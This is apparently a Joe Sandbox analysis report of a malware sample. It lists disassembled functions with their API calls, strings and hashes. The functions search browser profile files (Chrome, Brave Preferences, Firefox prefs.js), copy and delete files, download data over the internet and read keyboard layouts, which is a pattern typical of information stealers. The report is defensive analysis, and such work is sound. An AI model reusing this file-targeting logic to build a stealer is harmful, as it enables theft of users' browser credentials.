Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 0040BCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

Google Chrome, xrefs: 0040C474
\Brave\Preferences, xrefs: 0040C01B
Brave, xrefs: 0040BF42
Preferences, xrefs: 0040BF5E

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 2f7200886a55116bdb44d1a4b23bc26da2892d1cb91208f454c245af3e930fc4
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: 2f7200886a55116bdb44d1a4b23bc26da2892d1cb91208f454c245af3e930fc4
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 6C6E35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C76F688,00001000), ref: 6C6E35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6E35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6E35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C6E363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C6E369F
__aulldiv.LIBCMT ref: 6C6E36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C6E3773
EnterCriticalSection.KERNEL32(6C76F688), ref: 6C6E377E
LeaveCriticalSection.KERNEL32(6C76F688), ref: 6C6E37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6E37C4
EnterCriticalSection.KERNEL32(6C76F688), ref: 6C6E37CB
LeaveCriticalSection.KERNEL32(6C76F688), ref: 6C6E3801
__aulldiv.LIBCMT ref: 6C6E3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C6E3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C6E3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C6E394C

Strings

QPC, xrefs: 6C6E38FC
AuthcAMDenti, xrefs: 6C6E3946
GTC, xrefs: 6C6E3912
MOZ_TIMESTAMP_MODE, xrefs: 6C6E35DB
GenuntelineI, xrefs: 6C6E3639

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2bf6ba1c78ea90a0d8ec4004dd9c8cd05cdf70e9281238b2b6f545127c353f3f
Instruction ID: 2c0f1098a683c39ff1983fb95b821a8c750578e6ad836f4f3d7a067851e5cffb
Opcode Fuzzy Hash: 2bf6ba1c78ea90a0d8ec4004dd9c8cd05cdf70e9281238b2b6f545127c353f3f
Instruction Fuzzy Hash: 3FB18071B093109FDB08DF2AC94466AB7F6BB8A704F05893EE899D7760D77099008B95

Function 004143F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\%s, xrefs: 00414484
%s\%s, xrefs: 004144DB
%s\*, xrefs: 00414400

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 17cad7da98d5d236d8490905c803be581254adcc9030182f58d63a0fb882b317
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 17cad7da98d5d236d8490905c803be581254adcc9030182f58d63a0fb882b317
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 004139B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e0733fba184414957b84623ac2ff11fb37c01327547932e1e3e5ae516d67a78e
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: e0733fba184414957b84623ac2ff11fb37c01327547932e1e3e5ae516d67a78e
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 58c6d78252366a96e7372fbf5f3bec0271f2435b6f0d33a0aca85d62fac9762a
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 58c6d78252366a96e7372fbf5f3bec0271f2435b6f0d33a0aca85d62fac9762a
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 00401710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425004,?,00401F6C,?,004250AC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425154), ref: 004019B3
StrCmpCA.SHLWAPI(?,004251FC), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 73f987b483887c623816e9d1c3d68abb8a595f9101d92c53eb1abf737146863f
Instruction ID: 16b9519e73a2a048c1aa4c2f75882a05a68b4b793ed3d445f0fb30e7c05d6763
Opcode Fuzzy Hash: 73f987b483887c623816e9d1c3d68abb8a595f9101d92c53eb1abf737146863f
Instruction Fuzzy Hash: 83123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c6eba386c8d7739a1fa8b96ae4cee9d924a5201b05d2867343646b982982c94b
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: c6eba386c8d7739a1fa8b96ae4cee9d924a5201b05d2867343646b982982c94b
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: f444c6f7ddd9144f10c727580b8ae5c860da4ae62cedfb23b3109a919a7fad71
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: f444c6f7ddd9144f10c727580b8ae5c860da4ae62cedfb23b3109a919a7fad71
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 0040E270 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

\*.*, xrefs: 0040E28D
.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$\*.*
API String ID: 433455689-1178718010
Opcode ID: f50f0703b35561e3b7874ffd54453403af3a8df177bf0d1e6d413c923b722063
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: f50f0703b35561e3b7874ffd54453403af3a8df177bf0d1e6d413c923b722063
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
